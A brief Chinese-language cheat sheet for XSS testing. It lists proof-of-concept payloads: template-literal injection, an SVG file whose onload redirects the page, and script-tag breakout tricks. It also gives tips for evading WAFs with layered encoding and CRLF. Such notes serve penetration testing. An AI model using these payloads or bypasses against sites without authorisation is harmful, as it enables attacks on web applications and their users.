1.当某参数输出的值在JS中被反引号包囊,通过${ }可以执行javascript

    1. <script>var a=`Hello${alert(1)}`</script>

    2.SVG中的测试XSS

    1. <?xml version="1.0" encoding="UTF-8" standalone="no"?>
    2. <svg onload="window.location='https://www.baidu.com'"xmlns="http://www.w3.org/2000/svg"></svg>

    3.不允许使用函数执行的WAF可尝试如下payload绕过

    4.在测试中也可以尝试使用编码绕过,多重url编码、HTML实体编码、json中使用Unicode、html编码,或者一些字符拼接。或者使用回车;换行 绕过 某些WAF \r\n可以实现绕过
    payload:


    XSS测试中的HTML标签,JS事件,Payload往往需要进行fuzz,此时字典就显得尤为关键!


    1. <script>
    2. var a = "123\"
    3. alert(1);//";
    4. </script>
    5. <script>
    6. var a = "123\
    7. alert(2);//";
    8. </script>
    9. <script>
    10. var a = "123\
    11. </script><script>alert(3);//";
    12. </script>
    13. 最后3会显示。 2显示不了,因为第一个script是错误的。 第一个的换行姿不对。